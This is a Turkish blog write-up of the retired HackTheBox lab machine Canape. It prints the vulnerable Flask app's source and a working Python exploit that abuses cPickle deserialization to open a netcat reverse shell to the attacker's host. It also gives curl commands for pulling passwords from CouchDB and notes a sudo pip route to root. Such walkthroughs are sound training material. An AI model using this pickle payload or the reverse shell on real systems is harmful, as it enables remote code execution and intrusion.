HackTheBox – Canape Çözümü (Write-Up)

Merhabalar Arkadaşlar.,

   Bu yazımızda da HackTheBox’ta bulunan retired makinelerden Canape’nin çözümünü anlatacağım.

Öncelikle her makine çözümünün başında olduğu gibi bir nmap port taraması yapıyorum.

Port taramamızdan göreceğimiz üzere 80(HTTP) portu açık durumda.Bu portta ise .git dizininin bulunduğunu gösteriyor.Hemen bir göz atalım.

Buradan küçük bir enumeration yapıp dosyaları inceliyoruz.

İlk girdiğimiz dosyadan __init__.py adlı bir dosyanın düzeltiğine dair bir yazıyla karşılaşıyoruz.Fakat dosyaların içinde bulamadığımız için .git dosyalarını local bilgisayarımıza indirmeyi düşünüyoruz.

Wget komutunu -r (recursive) fonksiyonu ile beraber kullandığımızda bütün dizinleri 10.10.10.70 adlı bir dizinin altında topluyoruz.Ve dizinin içine girdiğimizde __init__.py dosyasını görüyoruz.Şimdi kodu incelemede sıra.

import couchdb
import string
import random
import base64
import cPickle
from flask import Flask, render_template, request
from hashlib import md5


app = Flask(__name__)
app.config.update(
    DATABASE = "simpsons"
)
db = couchdb.Server("http://localhost:5984/")[app.config["DATABASE"]]

@app.errorhandler(404)
def page_not_found(e):
    if random.randrange(0, 2) > 0:
        return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(random.randrange(50, 250)))
    else:
  return render_template("index.html")

@app.route("/")
def index():
    return render_template("index.html")

@app.route("/quotes")
def quotes():
    quotes = []
    for id in db:
        quotes.append({"title": db[id]["character"], "text": db[id]["quote"]})
    return render_template('quotes.html', entries=quotes)

WHITELIST = [
    "homer",
    "marge",
    "bart",
    "lisa",
    "maggie",
    "moe",
    "carl",
    "krusty"
]

@app.route("/submit", methods=["GET", "POST"])
def submit():
    error = None
    success = None

    if request.method == "POST":
        try:
            char = request.form["character"]
            quote = request.form["quote"]
            if not char or not quote:
                error = True
            elif not any(c.lower() in char.lower() for c in WHITELIST):
                error = True
            else:
                # TODO - Pickle into dictionary instead, `check` is ready
                p_id = md5(char + quote).hexdigest()
                outfile = open("/tmp/" + p_id + ".p", "wb")
    outfile.write(char + quote)
    outfile.close()
          success = True
        except Exception as ex:
            error = True

    return render_template("submit.html", error=error, success=success)

@app.route("/check", methods=["POST"])
def check():
    path = "/tmp/" + request.form["id"] + ".p"
    data = open(path, "rb").read()

    if "p1" in data:
        item = cPickle.loads(data)
    else:
        item = data

    return "Still reviewing: " + item

if __name__ == "__main__":
    app.run()




Kodumuz bu şekilde.Kodda cPickle modülünün kullanıldığını görüyoruz.cPickle modülü nesneleri serileştirip seri hale getirmenize izin veren yerleşik bir python modülüdür.Bu ise RCE(Remote Code Execution) yapmamız demektir.

Bunun için aşağıdaki payload’ı kullanıyoruz.

#Change host/port to your own ip/desired port.
LHOST = "10.10.12.xxx"
LPORT = "1338"

import requests as rq #For posting request
import cPickle #For generating payload
import hashlib #For generating MD5 hash as id
import os #For creating shell object

#Generate payload:
class shell(object):
    def __reduce__(self):
            return (os.system, ("rm /tmp/shell; mknod /tmp/shell p; nc %s %s < /tmp/shell | /bin/bash > /tmp/shell" % (LHOST, LPORT),))
payload = cPickle.dumps(shell())

#Define post parameters.
character = payload+"S'homer'\n"
quote = "quote"
data = {"character":character,"quote":quote}

#Send payload and check reponse.
resp = rq.post('http://10.10.10.70/submit',data=data)
if "Success" in resp.text: print("Successfully posted.")
else: print("Upload error."); sys.exit()

#Calculate and load response page, which in turn triggers the exploit.
p_id = str(hashlib.md5(character+quote).hexdigest())
print("Executing payload...")
rq.post("http://10.10.10.70/check", data={"id":p_id}).text

Payload’ımızı kendi local ip adresimiz ve dinleyecebileceğimiz boş port ile düzenlediğimiz zaman artık çalıştırabiliriz demektir.

Daha sonradan payload’ımızı çalıştırıp.netcat ile fotoğraftaki gibi dinlediğimizde shell almayı başarıyoruz.

Hemen python etkileşimli shell alma komutumuzu yazıyoruz.

User.txt’yi almak için homer dizinine girmeye çalıştığımızda www kullanıcısı olduğumuzdan dolayı erişimimizin yasak olduğunu görüyoruz.Bu yüzden bir kaç enumeration daha yapmamız gerekiyor.

netstat komutunu kullanarak çalışan portlara bakıyoruz.Burada 3 tane ilginç port görüyoruz. 65535, 5984 ve 5986 numaralı portlar.

Analiz edildikten sonra 65535 numaralı portun SSH için olduğunu görebiliriz. 5984 ve 5986 numaralı portlar ise CouchDB içindir.

İlk olarak, tüm veritabanlarını listeliyoruz.

6 tane veri tabanı olduğunu görüyoruz. Sonra gördüğümüz veri tabanından parolayı almaya çalışıyoruz.

Ancak, buna erişemiyoruz. 

Fakat CouchDB’nin Remote Privilege Escalation(Uzak Ayrıcalık Yükseltme) sorununa sahip olduğunu bildiğimiz için bu istismarı kullanabiliriz . Ancak, bu veritabanı local olarak barındırılmaktadır. Yani, bu istismarı Canape sunucusunda çalıştırmalıyız.

Exploiti sunucuya yüklemenin birden fazla yolu vardır. Ben SimpleHTTP Sunucusunu kullanarak gönderme işlemini gerçekleştireceğim.

Ardından, istismarımızı gerçekleştirir ve parolayı ele geçiririz.

CouchDB ilişkisel olmayan bir veritabanıdır, bu yüzden her şey tablolar yerine belgeler etrafında yapılandırılmıştır. Yapmamız gereken şey:

  1. Tüm database’i görmek için : curl -x GET http: // <kullanıcı>: <pass> @ 127.0.0.1: 5984 / _all_docs
  2. Daha sonradan bir database seçip password’u alalım. :  curl -x GET http: // <kullanıcı>: <parola> @ 127.0.0.1: 5984 / parola / <id 

Evvet aldığımız parola ile user olduk sonunda.İlk işimiz tabiki homer dizinindeki user.txt’yi almak 🙂

Şimdi de sıra root olmakta.Bir kaç enumeration yaptıktan sonra örneğin LinEnum.sh ile baktıktan sonra sudo komutunda pip komutunun çalıştığını görüyoruz.

Bildiğiniz gibi pip -r  seçeneğini ile kullanabilir . -r seçeneği, “ Verilen requirements dosyasından yükle ” anlamına gelir . “ Yani bu, dosyayı okuyacağı anlamına gelir.

Böylelikle de root.txt ‘yi de almış oluyoruzz 🙂 Hayırlı olsun.

 

Yazımı okuduğunuz için teşekkür ederim.

 

 

 

Bir cevap yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir